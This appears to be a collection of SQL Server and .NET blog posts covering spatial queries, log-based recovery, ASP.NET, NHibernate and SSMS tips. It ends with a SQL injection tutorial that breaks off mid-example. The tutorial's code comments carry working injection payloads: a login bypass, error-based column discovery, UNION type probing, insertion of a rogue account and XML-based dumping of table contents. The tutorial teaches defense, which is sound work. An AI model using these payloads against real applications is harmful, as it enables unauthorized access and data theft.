GeodeticTessellation function, which is essentially finds where the point is, and works out through the spatial index cells that surround it. This then provides a framework to be able to see into the spatial index for the items we want. You can read more about it at http://msdn.microsoft.com/en-us/library/bb895265.aspx#tessellation – including a bunch of pretty diagrams. One of those times when we have a much more complex-looking plan, but just because of the good that’s going on. This tessellation stuff was introduced in SQL Server 2012. But my query isn’t using it. When I try to use the FORCESEEK hint on the Person.Address table, I get the friendly error: Msg 8622, Level 16, State 1, Line 1 Query processor could not produce a query plan because of the hints defined in this query. Resubmit the query without specifying any hints and without using SET FORCEPLAN. And I’m almost tempted to just give up and move back to the old method of checking increasingly large circles around my location. After all, I can even leverage multiple OUTER APPLY clauses just like I did in my recent Lookup post. WITH MyLocations AS (SELECT * FROM (VALUES ('LobsterPot Adelaide', geography::Point(-34.925806, 138.605073, 4326)),                        ('LobsterPot USA', geography::Point(42.524929, -87.858244, 4326))                ) t (Name, Geo)) SELECT     l.Name,     COALESCE(a1.AddressLine1,a2.AddressLine1,a3.AddressLine1),     COALESCE(a1.City,a2.City,a3.City),     s.Name AS [State],     c.Name AS Country FROM MyLocations AS l OUTER APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     WHERE l.Geo.STDistance(ad.SpatialLocation) < 1000     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a1 OUTER APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     WHERE l.Geo.STDistance(ad.SpatialLocation) < 5000     AND a1.AddressID IS NULL     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a2 OUTER APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     WHERE l.Geo.STDistance(ad.SpatialLocation) < 20000     AND a2.AddressID IS NULL     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a3 JOIN Person.StateProvince AS s     ON s.StateProvinceID = COALESCE(a1.StateProvinceID,a2.StateProvinceID,a3.StateProvinceID) JOIN Person.CountryRegion AS c     ON c.CountryRegionCode = s.CountryRegionCode ; But this isn’t friendly-looking at all, and I’d use the method recommended by Isaac Kunen, who uses a table of numbers for the expanding circles. It feels old-school though, when I’m dealing with SQL 2012 (and later) versions. So why isn’t my query doing what it’s supposed to? Remember the query... WITH MyLocations AS (SELECT * FROM (VALUES ('LobsterPot Adelaide', geography::Point(-34.925806, 138.605073, 4326)),                        ('LobsterPot USA', geography::Point(42.524929, -87.858244, 4326))                ) t (Name, Geo)) SELECT l.Name, a.AddressLine1, a.City, s.Name AS [State], c.Name AS Country FROM MyLocations AS l CROSS APPLY (     SELECT TOP (1) *     FROM Person.Address AS ad     ORDER BY l.Geo.STDistance(ad.SpatialLocation)     ) AS a JOIN Person.StateProvince AS s     ON s.StateProvinceID = a.StateProvinceID JOIN Person.CountryRegion AS c     ON c.CountryRegionCode = s.CountryRegionCode ; Well, I just wasn’t reading http://msdn.microsoft.com/en-us/library/ff929109.aspx properly. The following requirements must be met for a Nearest Neighbor query to use a spatial index: A spatial index must be present on one of the spatial columns and the STDistance() method must use that column in the WHERE and ORDER BY clauses. The TOP clause cannot contain a PERCENT statement. The WHERE clause must contain a STDistance() method. If there are multiple predicates in the WHERE clause then the predicate containing STDistance() method must be connected by an AND conjunction to the other predicates. The STDistance() method cannot be in an optional part of the WHERE clause. The first expression in the ORDER BY clause must use the STDistance() method. Sort order for the first STDistance() expression in the ORDER BY clause must be ASC. All the rows for which STDistance returns NULL must be filtered out. Let’s start from the top. 1. Needs a spatial index on one of the columns that’s in the STDistance call. Yup, got the index. 2. No ‘PERCENT’. Yeah, I don’t have that. 3. The WHERE clause needs to use STDistance(). Ok, but I’m not filtering, so that should be fine. 4. Yeah, I don’t have multiple predicates. 5. The first expression in the ORDER BY is my distance, that’s fine. 6. Sort order is ASC, because otherwise we’d be starting with the ones that are furthest away, and that’s tricky. 7. All the rows for which STDistance returns NULL must be filtered out. But I don’t have any NULL values, so that shouldn’t affect me either. ...but something’s wrong. I do actually need to satisfy #3. And I do need to make sure #7 is being handled properly, because there are some situations (eg, differing SRIDs) where STDistance can return NULL. It says so at http://msdn.microsoft.com/en-us/library/bb933808.aspx – “STDistance() always returns null if the spatial reference IDs (SRIDs) of the geography instances do not match.” So if I simply make sure that I’m filtering out the rows that return NULL… …then it’s blindingly fast, I get the right results, and I’ve got the complex-but-brilliant plan that I wanted. It just wasn’t overly intuitive, despite being documented. @rob_farley

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  • SQL SERVER – Repair a SQL Server Database Using a Transaction Log Explorer

    - by Pinal Dave
    In this blog, I’ll show how to use ApexSQL Log, a SQL Server transaction log viewer. You can download it for free, install, and play along. But first, let’s describe some disaster recovery scenarios where it’s useful. About SQL Server disaster recovery Along with database development and administration, you must work on a good recovery plan. Disasters do happen and no one’s immune. What you can do is take all actions needed to be ready for a disaster and go through it with minimal data loss and downtime. Besides creating a recovery plan, it’s necessary to have a list of steps that will be executed when a disaster occurs and to test them before a disaster. This way, you’ll know that the plan is good and viable. Testing can also be used as training for all team members, so they can all understand and execute it when the time comes. It will show how much time is needed to have your servers fully functional again and how much data you can lose in a real-life situation. If these don’t meet recovery-time and recovery-point objectives, the plan needs to be improved. Keep in mind that all major changes in environment configuration, business strategy, and recovery objectives require a new recovery plan testing, as these changes most probably induce a recovery plan changing and tweaking. What is a good SQL Server disaster recovery plan? A good SQL Server disaster recovery strategy starts with planning SQL Server database backups. An efficient strategy is to create a full database backup periodically. Between two successive full database backups, you can create differential database backups. It is essential is to create transaction log backups regularly between full database backups. Keep in mind that transaction log backups can be created only on databases in the full recovery model. In other words, a simple, but efficient backup strategy would be a full database backup every night, a transaction log backup every hour, or every 15 minutes. The frequency depends on how much data you can afford to lose and how busy the database is. Another option, instead of creating a full database backup every night, is to create a full database backup once a week (e.g. on Friday at midnight) and differential database backup every night until next Friday when you will create a full database backup again. Once you create your SQL Server database backup strategy, schedule the backups. You can do that easily using SQL Server maintenance plans. Why are transaction logs important? Transaction log backups contain transactions executed on a SQL Server database. They provide enough information to undo and redo the transactions and roll back or forward the database to a point in time. In SQL Server disaster recovery situations, transaction logs enable to repair a SQL Server database and bring it to the state before the disaster. Be aware that even with regular backups, there will be some data missing. These are the transactions made between the last transaction log backup and the time of the disaster. In some situations, to repair your SQL Server database it’s not necessary to re-create the database from its last backup. The database might still be online and all you need to do is roll back several transactions, such as wrong update, insert, or delete. The restore to a point in time feature is available in SQL Server, but for large databases, it is very time-consuming, as SQL Server first restores a full database backup, and then restores transaction log backups, one after another, up to the recovery point. During that time, the database is unavailable. This is where a SQL Server transaction log viewer can help. For optimal recovery, besides having a database in the full recovery model, it’s important that you haven’t manually truncated the online transaction log. This ensures that all transactions made after the last transaction log backup are still in the online transaction log. All you have to do is read and replay them. How to read a SQL Server transaction log? SQL Server doesn’t provide an option to read transaction logs. There are several SQL Server commands and functions that read the content of a transaction log file (fn_dblog, fn_dump_dblog, and DBCC PAGE), but they are undocumented. They require T-SQL knowledge, return a large number of not easy to read and understand columns, sometimes in binary or hexadecimal format. Another challenge is reading UPDATE statements, as it’s necessary to match it to a value in the MDF file. When you finally read the transactions executed, you have to create a script for it. How to easily repair a SQL database? The easiest solution is to use a transaction log reader that will not only read the transactions in the transaction log files, but also automatically create scripts for the read transactions. In the following example, I will show how to use ApexSQL Log to repair a SQL database after a crash. If a database has crashed and both MDF and LDF files are lost, you have to rely on the full database backup and all subsequent transaction log backups. In another scenario, the MDF file is lost, but the LDF file is available. First, restore the last full database backup on SQL Server using SQL Server Management Studio. I’ll name it Restored_AW2014. Then, start ApexSQL Log It will automatically detect all local servers. If not, click the icon right to the Server drop-down list, or just type in the SQL Server instance name. Select the Windows or SQL Server authentication type and select the Restored_AW2014 database from the database drop-down list. When all options are set, click Next. ApexSQL Log will show the online transaction log file. Now, click Add and add all transaction log backups created after the full database backup I used to restore the database. In case you don’t have transaction log backups, but the LDF file hasn’t been lost during the SQL Server disaster, add it using Add.   To repair a SQL database to a point in time, ApexSQL Log needs to read and replay all the transactions in the transaction log backups (or the LDF file saved after the disaster). That’s why I selected the Whole transaction log option in the Filter setup. ApexSQL Log offers a range of various filters, which are useful when you need to read just specific transactions. You can filter transactions by the time of the transactions, operation type (e.g. to read only data inserts), table name, SQL Server login that made the transaction, etc. In this scenario, to repair a SQL database, I’ll check all filters and make sure that all transactions are included. In the Operations tab, select all schema operations (DDL). If you omit these, only the data changes will be read so if there were any schema changes, such as a new function created, or an existing table modified, they will be ignored and database will not be properly repaired. The data repair for modified tables will fail. In the Tables tab, I’ll make sure all tables are selected. I will uncheck the Show operations on dropped tables option, to reduce the number of transactions. Click Next. ApexSQL Log offers three options. Select Open results in grid, to get a user-friendly presentation of the transactions. As you can see, details are shown for every transaction, including the old and new values for updated columns, which are clearly highlighted. Now, select them all and then create a redo script by clicking the Create redo script icon in the menu.   For a large number of transactions and in a critical situation, when acting fast is a must, I recommend using the Export results to file option. It will save some time, as the transactions will be directly scripted into a redo file, without showing them in the grid first. Select Generate reconstruction (REDO) script , change the output path if you want, and click Finish. After the redo T-SQL script is created, ApexSQL Log shows the redo script summary: The third option will create a command line statement for a batch file that you can use to schedule execution, which is not really applicable when you repair a SQL database, but quite useful in daily auditing scenarios. To repair your SQL database, all you have to do is execute the generated redo script using an integrated developer environment tool such as SQL Server Management Studio or any other, against the restored database. You can find more information about how to read SQL Server transaction logs and repair a SQL database on ApexSQL Solution center. There are solutions for various situations when data needs to be recovered, restored, or transactions rolled back. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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  • Examining ASP.NET's Membership, Roles, and Profile - Part 18

    Membership, in a nutshell, is a framework build into the .NET Framework that supports creating, authenticating, deleting, and modifying user account information. Each user account has a set of core properties: username, password, email, a security question and answer, whether or not the account has been approved, whether or not the user is locked out of the system, and so on. These user-specific properties are certainly helpful, but they're hardly exhaustive - it's not uncommon for an application to need to track additional user-specific properties. For example, an online messageboard site might want to also also associate a signature, homepage URL, and IM address with each user account. There are two ways to associate additional information with user accounts when using the Membership model. The first - which affords the greatest flexibility, but requires the most upfront effort - is to create a custom data store for this information. If you are using the SqlMembershipProvider, this would mean creating an additional database table that had as a primary key the UserId value from the aspnet_Users table and columns for each of the additional user properties. The second option is to use the Profile system, which allows additional user-specific properties to be defined in a configuration file. (See Part 6 for an in-depth look at the Profile system.) This article explores how to store additional user information in a separate database table. We'll see how to allow a signed in user to update these additional user-specific properties and how to create a page to display information about a selected user. What's more, we'll look at using ASP.NET Routing to display user information using an SEO-friendly, human-readable URL like www.yoursite.com/Users/username. Read on to learn more! Read More >

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  • Using Microsoft's Chart Controls In An ASP.NET Application: Serializing Chart Data

    In most usage scenarios, the data displayed in a Microsoft Chart control comes from some dynamic source, such as from a database query. The appearance of the chart can be modified dynamically, as well; past installments in this article series showed how to programmatically customize the axes, labels, and other appearance-related settings. However, it is possible to statically define the chart's data and appearance strictly through the control's declarative markup. One of the demos examined in the Getting Started article rendered a column chart with seven columns whose labels and values were defined statically in the <asp:Series> tag's <Points> collection. Given this functionality, it should come as no surprise that the Microsoft Chart Controls also support serialization. Serialization is the process of persisting the state of a control or an object to some other medium, such as to disk. Deserialization is the inverse process, and involves taking the persisted data and recreating the control or object. With just a few lines of code you can persist the appearance settings, the data, or both to a file on disk or to any stream. Likewise, it takes just a few lines of codes to reconstitute a chart from the persisted information. This article shows how to use the Microsoft Chart Control's serialization functionality by examining a demo application that allows users to create custom charts, specifying the data to plot and some appearance-related settings. The user can then save a "snapshot" of this chart, which persists its appearance and data to a record in a database. From another page, users can view these saved chart snapshots. Read on to learn more! Read More >

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  • SQL SERVER – Download Microsoft SQL Server Compact 4.0 SP1

    - by pinaldave
    Microsoft SQL Server Compact 4.0 is a free, embedded database that software developers can use for building ASP.NET websites and Windows desktop applications. SQL Server Compact 4.0 is the default database for Microsoft WebMatrix. For enhanced development and debugging capabilities, including designer support, Visual Studio can be used to develop ASP.NET web applications and websites using SQL Server Compact 4.0. Enabled to work in the medium or partial trust environments in the web servers, and can be easily deployed along with the website to the third party website hosting service providers. SQL Server CE 4.0 also provides stronger data security with the use of the SHA2 encryption algorithms for encrypting the databases. Latest version also supports T-SQL syntax enhancement by adding support for OFFSET and FETCH that can be used to write paging queries. Used with ADO.NET Entity Framework, SQL Server Compact now supports the columns that have server generated keys like identity, rowguid etc. and the code-first programming model. SQL Server Compact 4.0 is freely redistributable under a redistribution license agreement. SQL Server Compact 3.5 and SQL Server Compact 4.0 can be installed and work side by side on a desktop. Download Microsoft SQL Server Compact 4.0 SP1 Here are my earlier article on SQL Server CE Difference Between SQL Server Compact Edition (CE) and SQL Server Express Edition SQL SERVER – CE – 3 Links to Performance Tuning Compact Edition SQL SERVER – CE – List of Information_Schema System Tables SQL SERVER – Server Side Paging in SQL Server CE (Compact Edition) SQL SERVER – CE – Samples Database for SQL CE 4.0 Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Download, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • SQL SERVER – Copy Column Headers from Resultset – SQL in Sixty Seconds #027 – Video

    - by pinaldave
    SQL Server Management Studio returns results in Grid View, Text View and to the file. When we copy results from Grid View to Excel there is a common complaint that the column  header displayed in resultset is not copied to the Excel. I often spend time in performance tuning databases and I run many DMV’s in SSMS to get a quick view of the server. In my case it is almost certain that I need all the time column headers when I copy my data to excel or any other place. SQL Server Management Studio have two different ways to do this. Method 1: Ad-hoc When result is rendered you can right click on the resultset and click on Copy Header. This will copy the headers along with the resultset. Additionally, you can use the shortcut key CTRL+SHIFT+C for coping column headers along with the resultset. Method 2: Option Setting at SSMS level This is SSMS level settings and I kept this option always selected as I often need the column headers when I select the resultset. Go Tools >> Options >> Query Results >> SQL Server >> Results to Grid >> Check the Box “Include column header when copying or saving the results.” Both of the methods are discussed in following SQL in Sixty Seconds Video. Here is the code used in the video. Related Tips in SQL in Sixty Seconds: Copy Column Headers in Query Analyzers in Result Set Getting Columns Headers without Result Data – SET FMTONLY ON If we like your idea we promise to share with you educational material. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Database, Pinal Dave, PostADay, SQL, SQL Authority, SQL in Sixty Seconds, SQL Query, SQL Scripts, SQL Server, SQL Server Management Studio, SQL Tips and Tricks, T SQL, Technology, Video

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  • SQL SERVER – Find Details for Statistics of Whole Database – DMV – T-SQL Script

    - by pinaldave
    I was recently asked is there a single script which can provide all the necessary details about statistics for any database. This question made me write following script. I was initially planning to use sp_helpstats command but I remembered that this is marked to be deprecated in future. Again, using DMV is the right thing to do moving forward. I quickly wrote following script which gives a lot more information than sp_helpstats. USE AdventureWorks GO SELECT DISTINCT OBJECT_NAME(s.[object_id]) AS TableName, c.name AS ColumnName, s.name AS StatName, s.auto_created, s.user_created, s.no_recompute, s.[object_id], s.stats_id, sc.stats_column_id, sc.column_id, STATS_DATE(s.[object_id], s.stats_id) AS LastUpdated FROM sys.stats s JOIN sys.stats_columns sc ON sc.[object_id] = s.[object_id] AND sc.stats_id = s.stats_id JOIN sys.columns c ON c.[object_id] = sc.[object_id] AND c.column_id = sc.column_id JOIN sys.partitions par ON par.[object_id] = s.[object_id] JOIN sys.objects obj ON par.[object_id] = obj.[object_id] WHERE OBJECTPROPERTY(s.OBJECT_ID,'IsUserTable') = 1 AND (s.auto_created = 1 OR s.user_created = 1); If you have better script to retrieve information about statistics, please share here and I will publish it with due credit. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL DMV, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology Tagged: SQL Statistics, Statistics

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  • NHibernate Conventions

    - by Ricardo Peres
    Introduction It seems that nowadays everyone loves conventions! Not the ones that you go to, but the ones that you use, that is! It just happens that NHibernate also supports conventions, and we’ll see exactly how. Conventions in NHibernate are supported in two ways: Naming of tables and columns when not explicitly indicated in the mappings; Full domain mapping. Naming of Tables and Columns Since always NHibernate has supported the concept of a naming strategy. A naming strategy in NHibernate converts class and property names to table and column names and vice-versa, when a name is not explicitly supplied. In concrete, it must be a realization of the NHibernate.Cfg.INamingStrategy interface, of which NHibernate includes two implementations: DefaultNamingStrategy: the default implementation, where each column and table are mapped to identically named properties and classes, for example, “MyEntity” will translate to “MyEntity”; ImprovedNamingStrategy: underscores (_) are used to separate Pascal-cased fragments, for example, entity “MyEntity” will be mapped to a “my_entity” table. The naming strategy can be defined at configuration level (the Configuration instance) by calling the SetNamingStrategy method: 1: cfg.SetNamingStrategy(ImprovedNamingStrategy.Instance); Both the DefaultNamingStrategy and the ImprovedNamingStrategy classes offer singleton instances in the form of Instance static fields. DefaultNamingStrategy is the one NHibernate uses, if you don’t specify one. Domain Mapping In mapping by code, we have the choice of relying on conventions to do the mapping automatically. This means a class will inspect our classes and decide how they will relate to the database objects. The class that handles conventions is NHibernate.Mapping.ByCode.ConventionModelMapper, a specialization of the base by code mapper, NHibernate.Mapping.ByCode.ModelMapper. The ModelMapper relies on an internal SimpleModelInspector to help it decide what and how to map, but the mapper lets you override its decisions.  You apply code conventions like this: 1: //pick the types that you want to map 2: IEnumerable<Type> types = Assembly.GetExecutingAssembly().GetExportedTypes(); 3:  4: //conventions based mapper 5: ConventionModelMapper mapper = new ConventionModelMapper(); 6:  7: HbmMapping mapping = mapper.CompileMappingFor(types); 8:  9: //the one and only configuration instance 10: Configuration cfg = ...; 11: cfg.AddMapping(mapping); This is a very simple example, it lacks, at least, the id generation strategy, which you can add by adding an event handler like this: 1: mapper.BeforeMapClass += (IModelInspector modelInspector, Type type, IClassAttributesMapper classCustomizer) => 2: { 3: classCustomizer.Id(x => 4: { 5: //set the hilo generator 6: x.Generator(Generators.HighLow); 7: }); 8: }; The mapper will fire events like this whenever it needs to get information about what to do. And basically this is all it takes to automatically map your domain! It will correctly configure many-to-one and one-to-many relations, choosing bags or sets depending on your collections, will get the table and column names from the naming strategy we saw earlier and will apply the usual defaults to all properties, such as laziness and fetch mode. However, there is at least one thing missing: many-to-many relations. The conventional mapper doesn’t know how to find and configure them, which is a pity, but, alas, not difficult to overcome. To start, for my projects, I have this rule: each entity exposes a public property of type ISet<T> where T is, of course, the type of the other endpoint entity. Extensible as it is, NHibernate lets me implement this very easily: 1: mapper.IsOneToMany((MemberInfo member, Boolean isLikely) => 2: { 3: Type sourceType = member.DeclaringType; 4: Type destinationType = member.GetMemberFromDeclaringType().GetPropertyOrFieldType(); 5:  6: //check if the property is of a generic collection type 7: if ((destinationType.IsGenericCollection() == true) && (destinationType.GetGenericArguments().Length == 1)) 8: { 9: Type destinationEntityType = destinationType.GetGenericArguments().Single(); 10:  11: //check if the type of the generic collection property is an entity 12: if (mapper.ModelInspector.IsEntity(destinationEntityType) == true) 13: { 14: //check if there is an equivalent property on the target type that is also a generic collection and points to this entity 15: PropertyInfo collectionInDestinationType = destinationEntityType.GetProperties().Where(x => (x.PropertyType.IsGenericCollection() == true) && (x.PropertyType.GetGenericArguments().Length == 1) && (x.PropertyType.GetGenericArguments().Single() == sourceType)).SingleOrDefault(); 16:  17: if (collectionInDestinationType != null) 18: { 19: return (false); 20: } 21: } 22: } 23:  24: return (true); 25: }); 26:  27: mapper.IsManyToMany((MemberInfo member, Boolean isLikely) => 28: { 29: //a relation is many to many if it isn't one to many 30: Boolean isOneToMany = mapper.ModelInspector.IsOneToMany(member); 31: return (!isOneToMany); 32: }); 33:  34: mapper.BeforeMapManyToMany += (IModelInspector modelInspector, PropertyPath member, IManyToManyMapper collectionRelationManyToManyCustomizer) => 35: { 36: Type destinationEntityType = member.LocalMember.GetPropertyOrFieldType().GetGenericArguments().First(); 37: //set the mapping table column names from each source entity name plus the _Id sufix 38: collectionRelationManyToManyCustomizer.Column(destinationEntityType.Name + "_Id"); 39: }; 40:  41: mapper.BeforeMapSet += (IModelInspector modelInspector, PropertyPath member, ISetPropertiesMapper propertyCustomizer) => 42: { 43: if (modelInspector.IsManyToMany(member.LocalMember) == true) 44: { 45: propertyCustomizer.Key(x => x.Column(member.LocalMember.DeclaringType.Name + "_Id")); 46:  47: Type sourceType = member.LocalMember.DeclaringType; 48: Type destinationType = member.LocalMember.GetPropertyOrFieldType().GetGenericArguments().First(); 49: IEnumerable<String> names = new Type[] { sourceType, destinationType }.Select(x => x.Name).OrderBy(x => x); 50:  51: //set inverse on the relation of the alphabetically first entity name 52: propertyCustomizer.Inverse(sourceType.Name == names.First()); 53: //set mapping table name from the entity names in alphabetical order 54: propertyCustomizer.Table(String.Join("_", names)); 55: } 56: }; We have to understand how the conventions mapper thinks: For each collection of entities found, it will ask the mapper if it is a one-to-many; in our case, if the collection is a generic one that has an entity as its generic parameter, and the generic parameter type has a similar collection, then it is not a one-to-many; Next, the mapper will ask if the collection that it now knows is not a one-to-many is a many-to-many; Before a set is mapped, if it corresponds to a many-to-many, we set its mapping table. Now, this is tricky: because we have no way to maintain state, we sort the names of the two endpoint entities and we combine them with a “_”; for the first alphabetical entity, we set its relation to inverse – remember, on a many-to-many relation, only one endpoint must be marked as inverse; finally, we set the column name as the name of the entity with an “_Id” suffix; Before the many-to-many relation is processed, we set the column name as the name of the other endpoint entity with the “_Id” suffix, as we did for the set. And that’s it. With these rules, NHibernate will now happily find and configure many-to-many relations, as well as all the others. You can wrap this in a new conventions mapper class, so that it is more easily reusable: 1: public class ManyToManyConventionModelMapper : ConventionModelMapper 2: { 3: public ManyToManyConventionModelMapper() 4: { 5: base.IsOneToMany((MemberInfo member, Boolean isLikely) => 6: { 7: return (this.IsOneToMany(member, isLikely)); 8: }); 9:  10: base.IsManyToMany((MemberInfo member, Boolean isLikely) => 11: { 12: return (this.IsManyToMany(member, isLikely)); 13: }); 14:  15: base.BeforeMapManyToMany += this.BeforeMapManyToMany; 16: base.BeforeMapSet += this.BeforeMapSet; 17: } 18:  19: protected virtual Boolean IsManyToMany(MemberInfo member, Boolean isLikely) 20: { 21: //a relation is many to many if it isn't one to many 22: Boolean isOneToMany = this.ModelInspector.IsOneToMany(member); 23: return (!isOneToMany); 24: } 25:  26: protected virtual Boolean IsOneToMany(MemberInfo member, Boolean isLikely) 27: { 28: Type sourceType = member.DeclaringType; 29: Type destinationType = member.GetMemberFromDeclaringType().GetPropertyOrFieldType(); 30:  31: //check if the property is of a generic collection type 32: if ((destinationType.IsGenericCollection() == true) && (destinationType.GetGenericArguments().Length == 1)) 33: { 34: Type destinationEntityType = destinationType.GetGenericArguments().Single(); 35:  36: //check if the type of the generic collection property is an entity 37: if (this.ModelInspector.IsEntity(destinationEntityType) == true) 38: { 39: //check if there is an equivalent property on the target type that is also a generic collection and points to this entity 40: PropertyInfo collectionInDestinationType = destinationEntityType.GetProperties().Where(x => (x.PropertyType.IsGenericCollection() == true) && (x.PropertyType.GetGenericArguments().Length == 1) && (x.PropertyType.GetGenericArguments().Single() == sourceType)).SingleOrDefault(); 41:  42: if (collectionInDestinationType != null) 43: { 44: return (false); 45: } 46: } 47: } 48:  49: return (true); 50: } 51:  52: protected virtual new void BeforeMapManyToMany(IModelInspector modelInspector, PropertyPath member, IManyToManyMapper collectionRelationManyToManyCustomizer) 53: { 54: Type destinationEntityType = member.LocalMember.GetPropertyOrFieldType().GetGenericArguments().First(); 55: //set the mapping table column names from each source entity name plus the _Id sufix 56: collectionRelationManyToManyCustomizer.Column(destinationEntityType.Name + "_Id"); 57: } 58:  59: protected virtual new void BeforeMapSet(IModelInspector modelInspector, PropertyPath member, ISetPropertiesMapper propertyCustomizer) 60: { 61: if (modelInspector.IsManyToMany(member.LocalMember) == true) 62: { 63: propertyCustomizer.Key(x => x.Column(member.LocalMember.DeclaringType.Name + "_Id")); 64:  65: Type sourceType = member.LocalMember.DeclaringType; 66: Type destinationType = member.LocalMember.GetPropertyOrFieldType().GetGenericArguments().First(); 67: IEnumerable<String> names = new Type[] { sourceType, destinationType }.Select(x => x.Name).OrderBy(x => x); 68:  69: //set inverse on the relation of the alphabetically first entity name 70: propertyCustomizer.Inverse(sourceType.Name == names.First()); 71: //set mapping table name from the entity names in alphabetical order 72: propertyCustomizer.Table(String.Join("_", names)); 73: } 74: } 75: } Conclusion Of course, there is much more to mapping than this, I suggest you look at all the events and functions offered by the ModelMapper to see where you can hook for making it behave the way you want. If you need any help, just let me know!

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM 